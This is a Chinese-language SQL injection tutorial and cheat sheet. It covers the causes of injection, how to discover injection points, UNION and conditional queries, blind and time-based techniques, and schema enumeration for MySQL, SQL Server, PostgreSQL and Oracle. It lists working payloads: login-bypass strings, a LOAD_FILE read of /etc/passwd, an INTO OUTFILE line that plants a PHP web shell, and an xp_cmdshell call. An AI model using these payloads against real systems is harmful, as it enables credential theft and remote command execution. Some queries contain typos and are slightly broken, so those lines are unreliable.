SQL注入介紹
不管是何種語言撰寫的Web應用,有一部分是相同的,它們都具有互動性并且多半是資料庫驅動的,
資料庫驅動的Web應用通常有三層:表示層:Web瀏覽器或呈現引擎;邏輯層:如C# ASP .NET PHP等編程語言;存盤層:MySQL等資料庫,
SQL注入是一種將SQL代碼插入或添加到應用的輸入引數中的攻擊,之后再將這些引數傳遞給后臺的SQL服務器加以決議并執行,
SQL注入成因
- 轉義字符處理不當
SQL將 ' 決議成代碼與資料間的分界線:單引號外面的內容均是需要運行的代碼,而用單引號引起來的內容均是資料,因此,只需要在URL或者Web頁面的欄位中輸入一個單引號,就能快速識別出Web站點是否會受到SQL注入攻擊, 單引號并不是唯一的轉義字符,比如在Oracle中,空格( )、雙豎線(||)、逗號(,)、點號(.)、(*/)均具有特殊含義:- 管道字符用于為一個值追加一個函式,函式的結果將轉換并與前面的值連接,
- */用于結束注釋或Oracle中的優化提示,
- 型別處理不當
- 比如數字型別不需要使用引號,如果使用引號則會被當做字串處理,如果將下列陳述句作為輸入,那么攻擊者便會讀取/etc/passwd檔案中的內容,該檔案包含系統用戶的屬性和用戶名:
1 UNION ALL SELECT LOAD_FILE('/etc/passwd')
- MySQL中還有一個內置命令,可使用該命令來創建系統檔案并進行寫操作,還可以使用下列命令向Web根目錄寫入一個Web shell以便安裝一個可遠程互動訪問的Web shell:
1UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/html/***.com/cmd.php"
- 查詢陳述句組裝不當
用戶通過修改GET請求得到未經允許訪問的資料,如users表的用戶名及密碼, - 錯誤處理不當
最常見的問題是將詳細的內部錯誤資訊顯示給用戶或攻擊者,這些細節會為攻擊者提供與網站缺陷相關的重要線索, - 多個提交處理不當
程式只對攻擊者提交的第一個表單進行校驗而忽略對之后的表單進行校驗,
注入點發現
- 借助推理進行測驗
- 識別輸入
- GET請求:使用該方法時,資訊包含在URL中,請求在URL中發送引數,遠程應用將檢索這些引數的值,將他們用于事先設計好的目的,
- POST請求:一種用于向Web服務器發送資訊的HTTP方法,服務器執行的操作取決于目標URL.
- 其他注入型資料:cookie,主機頭,參考站點頭和用戶代理頭
- 操縱引數
識別Oracle和PostgreSQL中的漏洞:引數為 bikes 和bi'||'kes
Microsoft SQL server :bikes 和 bi'+'kes
MySQL:bikes和bi' 'kes
如果請求結果相同,很可能存在SQL注入漏洞 - 用戶資料驗證有兩個原因會引發SQL注入漏洞:
- 缺少用戶輸入驗證
- 資料和控制結構混合在同一傳輸通道中,
為防止出現這種漏洞,首要措施是執行嚴格的用戶輸入驗證和輸出編碼,列如可以采用白名單方法,
萬能密碼
- admin' --
- admin' #
- admin'/*
- ' or 1=1--
- ' or 1=1#
- ' or 1=1/*
- ') or '1'='1--
- ') or ('1'='1--
- 以不同的用戶登陸 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
- admin' union select '123' as password -- ;在密碼處填入123,用于通過username查詢密碼然后校驗匹配關系的情況
使用UNION陳述句查詢資料
- 陳述句:
select colunms_1,colunms_2,...,colunms_N from table_1
UNION
select colunms_1,colunms_2,...,colunms_N from table_2;
- 使用條件:
- 兩個查詢回傳的列數必須相同;
- 通過order by + 二分法測驗列數是個好辦法
- 兩個select陳述句對應列所回傳的資料型別必須相同(或者至少兼容)
- 兩個查詢回傳的列數必須相同;
- 技巧:
- 移除原始查詢產生的行:id = 1 AND 1=0 UNION SELECT XXXX;
條件陳述句
- 陳述句:
- SQL Server:IF("a"="a") SELECT 1 ELSE SELECT 2
- MySQL:SELECT IF('a',1(true),2(false))
- Oracle:SELECT CASE WHEN 'a'='a' THEN 1 ELSE 2 END FROM DUAL
- PostgreSQL:SELECT CASE WHEN(1=1) THEN 'a' else 'b' END
- 示例:SELECT * FROM products WHERE brand = 'ac'+char(108+(case when(system_user='sa') then 1 else 0 end))+ 'e'
時延注入
- SQL Server:
- WAITFOR DELAY '0:0:5' --
- 如果有管理員權限還可以通過xp_cmdshell擴展存盤來產生延時:EXEC master..xp_cmdshell 'ping -n 5 127.0.0.1'
- MySQL:
- SELECT BENCHMARK(1000000,sha1('test'))
- SELECT SLEEP(5) //5.0.12以上版本
- PostgreSQL:SELECT pg_sleep(5)
- Oracle:select url_http.request('http://8.8.8.8') from dual //訪問一個不存在的url通過超時來實作延時
列舉資料庫資訊
- SQL Server:
- 讀取資料庫串列:select name from master..sysdatabases
- 查詢當前資料庫:select db_name()
- 查詢XXX資料庫對應的表:select name from XXX..sysobjects
- 查詢XXX資料庫yyy中表對應的列:select name from XXX..syscolumns where id = (select id from XXX..sysobjects where name = 'yyy')
- MYSQL
- 查詢當前用戶:select user(); / select current_user;
- 查詢資料庫資訊:select schema_name from information_schema.schemata;
- 查詢資料庫XXX的表名:select table_schema,table_name from information_schema.tables where schema_name = 'XXX'
- 查詢資料庫XXX的yyy表的列名:table_colunm from information_schema.colunms where table_schema = 'XXX' and table_name = 'yyy'
- PostgreSQL:
- 列出所有資料庫:select datname from pg_database
- 查詢當前資料庫:select current_database()
- 查詢當前用戶:select user
盲注確認手段
- 強制產生通道錯誤;如注入單引號
- 注入帶副作用的查詢,如時延、邏輯與或
- 將合法輸入進行拆分和平衡,如,整型轉換成數學算式:4換成1+3;字串使用拼接、轉換編碼
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/47394.html
標籤:其他
下一篇:動態路由協議 RIP
